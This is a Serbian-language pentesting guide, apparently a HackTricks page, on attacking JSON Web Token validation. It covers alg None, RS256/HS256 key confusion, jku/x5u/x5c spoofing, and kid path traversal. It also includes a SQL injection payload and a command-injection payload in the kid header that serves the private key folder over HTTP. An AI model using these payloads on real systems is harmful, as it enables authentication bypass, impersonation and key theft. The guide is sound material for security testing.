# JWT Ranljivosti (Json Web Tokens) {{#include ../banners/hacktricks-training.md}} **Deo ovog posta se zasniva na sjajnom postu:** [**https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology)\ **Autor sjajnog alata za pentesting JWT-ova** [**https://github.com/ticarpi/jwt_tool**](https://github.com/ticarpi/jwt_tool) ### **Brze Pobjede** Pokrenite [**jwt_tool**](https://github.com/ticarpi/jwt_tool) u režimu `All Tests!` i sačekajte zelene linije ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Ako imate sreće, alat će pronaći neki slučaj gde web aplikacija pogrešno proverava JWT: ![](<../images/image (935).png>) Tada možete pretražiti zahtev u svom proxy-ju ili izvući korišćeni JWT za taj zahtev koristeći jwt\_ alat: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` Možete takođe koristiti [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) za pokretanje JWT napada iz Burp-a. ### Manipulacija podacima bez modifikacije Možete samo manipulisati podacima ostavljajući potpis nepromenjenim i proveriti da li server proverava potpis. Pokušajte da promenite svoje korisničko ime na "admin", na primer. #### **Da li se token proverava?** Da biste proverili da li se potpis JWT-a verifikuje: - Poruka o grešci sugeriše da je verifikacija u toku; osetljive detalje u opširnim greškama treba pregledati. - Promena na vraćenoj stranici takođe ukazuje na verifikaciju. - Nema promene sugeriše da nema verifikacije; ovo je trenutak da eksperimentišete sa manipulacijom tvrdnjama u payload-u. ### Izvor Važno je utvrditi da li je token generisan na strani servera ili klijenta pregledom istorije zahteva proksija. - Tokeni prvi put viđeni sa strane klijenta sugerišu da bi ključ mogao biti izložen klijentskom kodu, što zahteva dalju istragu. - Tokeni koji potiču sa strane servera ukazuju na siguran proces. ### Trajanje Proverite da li token traje više od 24h... možda nikada ne ističe. Ako postoji polje "exp", proverite da li server ispravno obrađuje to. ### Brute-force HMAC tajna [**Pogledajte ovu stranicu.**](../generic-hacking/brute-force.md#jwt) ### Izmenite algoritam na None Postavite korišćeni algoritam na "None" i uklonite deo sa potpisom. Koristite Burp ekstenziju pod nazivom "JSON Web Token" da biste isprobali ovu ranjivost i promenili različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u "JSON Web Token" tabu možete modifikovati vrednosti tokena. Takođe možete odabrati da stavite vrednost polja "Alg" na "None"). ### Promenite algoritam RS256 (asimetrični) na HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555) Algoritam HS256 koristi tajni ključ za potpisivanje i verifikaciju svake poruke.\ Algoritam RS256 koristi privatni ključ za potpisivanje poruke i koristi javni ključ za autentifikaciju. Ako promenite algoritam sa RS256 na HS256, kod na backend-u koristi javni ključ kao tajni ključ i zatim koristi HS256 algoritam za verifikaciju potpisa. Zatim, koristeći javni ključ i menjajući RS256 u HS256 mogli bismo kreirati važeći potpis. Možete preuzeti sertifikat web servera izvršavajući ovo: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Nova javna ključ unutar header-a Napadač ugrađuje novi ključ u header tokena, a server koristi ovaj novi ključ za verifikaciju potpisa (CVE-2018-0114). Ovo se može uraditi sa "JSON Web Tokens" Burp ekstenzijom.\ (Pošaljite zahtev u Repeater, unutar JSON Web Token taba izaberite "CVE-2018-0114" i pošaljite zahtev). ### JWKS Spoofing Uputstva detaljno opisuju metodu za procenu bezbednosti JWT tokena, posebno onih koji koriste "jku" header claim. Ovaj claim bi trebao da vodi do JWKS (JSON Web Key Set) fajla koji sadrži javni ključ neophodan za verifikaciju tokena. - **Procena Tokena sa "jku" Header-om**: - Proverite URL "jku" claim-a da biste osigurali da vodi do odgovarajućeg JWKS fajla. - Izmenite "jku" vrednost tokena da usmerite ka kontrolisanoj web usluzi, omogućavajući posmatranje saobraćaja. - **Praćenje HTTP Interakcije**: - Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na pokušaje servera da preuzme ključeve sa vašeg linka. - Kada koristite `jwt_tool` za ovaj proces, ključno je ažurirati `jwtconf.ini` fajl sa vašom ličnom JWKS lokacijom kako bi se olakšalo testiranje. - **Komanda za `jwt_tool`**: - Izvršite sledeću komandu da simulirate scenario sa `jwt_tool`: ```bash python3 jwt_tool.py JWT_HERE -X s ``` ### Pregled Problema sa Kid Opcioni header claim poznat kao `kid` se koristi za identifikaciju specifičnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ovaj claim pomaže u odabiru odgovarajućeg ključa za verifikaciju potpisa tokena. #### Otkriće Ključa kroz "kid" Kada je `kid` claim prisutan u header-u, savetuje se da se pretraži web direktorijum za odgovarajući fajl ili njegove varijacije. Na primer, ako je `"kid":"key/12345"` specificirano, fajlovi _/key/12345_ i _/key/12345.pem_ trebaju se pretražiti u web root-u. #### Putanja Traversal sa "kid" `kid` claim se takođe može iskoristiti za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati povezanost ili izvršiti Server-Side Request Forgery (SSRF) napade izmenom `kid` vrednosti da bi se ciljali specifični fajlovi ili usluge. Manipulacija JWT-om da se promeni `kid` vrednost dok se zadržava originalni potpis može se postići korišćenjem `-T` flag-a u jwt_tool, kao što je prikazano u nastavku: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` Ciljanjem datoteka sa predvidivim sadržajem, moguće je falsifikovati važeći JWT. Na primer, datoteka `/proc/sys/kernel/randomize_va_space` u Linux sistemima, poznata po tome što sadrži vrednost **2**, može se koristiti u `kid` parametru sa **2** kao simetričnom lozinkom za generisanje JWT-a. #### SQL Injection putem "kid" Ako se sadržaj `kid` tvrdnje koristi za preuzimanje lozinke iz baze podataka, SQL injekcija bi mogla biti omogućena modifikovanjem `kid` payload-a. Primer payload-a koji koristi SQL injekciju za promenu procesa potpisivanja JWT-a uključuje: `non-existent-index' UNION SELECT 'ATTACKER';-- -` Ova izmena prisiljava korišćenje poznatog tajnog ključa, `ATTACKER`, za potpisivanje JWT-a. #### OS Injection putem "kid" Scenario u kojem `kid` parametar specificira putanju do datoteke koja se koristi unutar konteksta izvršavanja komandi može dovesti do ranjivosti daljinskog izvršavanja koda (RCE). Umetanjem komandi u `kid` parametar, moguće je izložiti privatne ključeve. Primer payload-a za postizanje RCE i izlaganje ključeva je: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### x5u i jku #### jku jku označava **JWK Set URL**.\ Ako token koristi “**jku**” **Header** tvrdnju, onda **proverite pruženi URL**. Ovo bi trebalo da upućuje na URL koji sadrži JWKS datoteku koja drži javni ključ za verifikaciju tokena. Izmenite token da upućuje jku vrednost na web servis za koji možete pratiti saobraćaj. Prvo treba da kreirate novi sertifikat sa novim privatnim i javnim ključevima. ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da kreirate novi JWT sa **kreiranim javnim i privatnim ključevima i usmerite parametar jku na kreirani sertifikat.** Da biste kreirali validan jku sertifikat, možete preuzeti originalni i promeniti potrebne parametre. Možete dobiti parametre "e" i "n" iz javnog sertifikata koristeći: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u X.509 URL. URI koji pokazuje na skup X.509 (standardni format sertifikata) javnih sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji se koristi za potpisivanje ovog JWT-a. Sledeći sertifikati svaki potpisuju prethodni, čime se završava lanac sertifikata. X.509 je definisan u RFC 52807. Transportna sigurnost je potrebna za prenos sertifikata. Pokušajte da **promenite ovaj header u URL pod vašom kontrolom** i proverite da li je primljena neka zahtev. U tom slučaju, **mogli biste da manipulišete JWT-om**. Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da kreirate sertifikat i izdvojite javne i privatne ključeve: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Zatim možete koristiti na primer [**jwt.io**](https://jwt.io) da kreirate novi JWT sa **kreiranim javnim i privatnim ključevima i usmerite parametar x5u na sertifikat .crt koji je kreiran.** ![](<../images/image (956).png>) Takođe možete zloupotrebiti obe ove ranjivosti **za SSRF-ove**. #### x5c Ovaj parametar može sadržati **sertifikat u base64**: ![](<../images/image (1119).png>) Ako napadač **generiše samopotpisani sertifikat** i kreira lažni token koristeći odgovarajući privatni ključ i zameni vrednost parametra "x5c" sa novokreiranim sertifikatom i modifikuje ostale parametre, naime n, e i x5t, tada bi suštinski lažni token bio prihvaćen od strane servera. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Ugrađeni javni ključ (CVE-2018-0114) Ako JWT sadrži ugrađeni javni ključ kao u sledećem scenariju: ![](<../images/image (624).png>) Koristeći sledeći nodejs skript, moguće je generisati javni ključ iz tih podataka: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Moguće je generisati novi privatni/javni ključ, ugraditi novi javni ključ unutar tokena i koristiti ga za generisanje novog potpisa: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Možete dobiti "n" i "e" koristeći ovaj nodejs skript: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` Konačno, koristeći javni i privatni ključ i nove "n" i "e" vrednosti, možete koristiti [jwt.io](https://jwt.io) da falsifikujete novi validni JWT sa bilo kojim informacijama. ### ES256: Otkivanje privatnog ključa sa istim nonce-om Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva jwta, privatni ključ može biti obnovljen. Evo jednog primera: [ECDSA: Otkivanje privatnog ključa, ako je korišćen isti nonce (sa SECP256k1)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) JTI (JWT ID) tvrdnja pruža jedinstveni identifikator za JWT token. Može se koristiti za sprečavanje ponovnog korišćenja tokena.\ Međutim, zamislite situaciju u kojoj je maksimalna dužina ID-a 4 (0001-9999). Zahtev 0001 i 10001 će koristiti isti ID. Dakle, ako backend povećava ID sa svakim zahtevom, mogli biste to iskoristiti da **ponovno pošaljete zahtev** (trebalo bi poslati 10000 zahteva između svake uspešne ponovne upotrebe). ### Registrovane tvrdnje JWT-a {{#ref}} https://www.iana.org/assignments/jwt/jwt.xhtml#claims {{#endref}} ### Druge napade **Napadi preusmeravanja između usluga** Primećeno je da neke web aplikacije oslanjaju na pouzdanu JWT uslugu za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi kada je token, generisan za jednog klijenta od strane JWT usluge, prihvaćen od strane drugog klijenta iste JWT usluge. Ako se primeti izdavanje ili obnova JWT-a putem usluge treće strane, treba istražiti mogućnost registracije na račun drugog klijenta te usluge koristeći isto korisničko ime/email. Zatim bi trebalo pokušati ponovo poslati dobijeni token u zahtevu ka cilju da se vidi da li će biti prihvaćen. - Kritični problem može biti naznačen prihvatanjem vašeg tokena, potencijalno omogućavajući lažno predstavljanje bilo kog korisničkog računa. Međutim, treba napomenuti da bi mogla biti potrebna dozvola za šire testiranje ako se registrujete na aplikaciji treće strane, jer bi to moglo ući u pravnu sivu zonu. **Provera isteka tokena** Istek tokena se proverava korišćenjem "exp" Payload tvrdnje. S obzirom na to da se JWT-ovi često koriste bez informacija o sesiji, potrebna je pažljiva obrada. U mnogim slučajevima, hvatanje i ponovna upotreba JWT-a drugog korisnika moglo bi omogućiti lažno predstavljanje tog korisnika. JWT RFC preporučuje ublažavanje napada ponovnog korišćenja JWT-a korišćenjem "exp" tvrdnje za postavljanje vremena isteka za token. Pored toga, implementacija relevantnih provera od strane aplikacije kako bi se osiguralo procesuiranje ove vrednosti i odbijanje istečenih tokena je ključna. Ako token uključuje "exp" tvrdnju i vremenska ograničenja testiranja to dozvoljavaju, savetuje se čuvanje tokena i ponovna upotreba nakon što je vreme isteka prošlo. Sadržaj tokena, uključujući parsiranje vremenskih oznaka i proveru isteka (vremenska oznaka u UTC), može se pročitati korišćenjem -R opcije jwt_tool-a. - Bezbednosni rizik može postojati ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne može isteći. ### Alati {{#ref}} https://github.com/ticarpi/jwt_tool {{#endref}} {{#include ../banners/hacktricks-training.md}}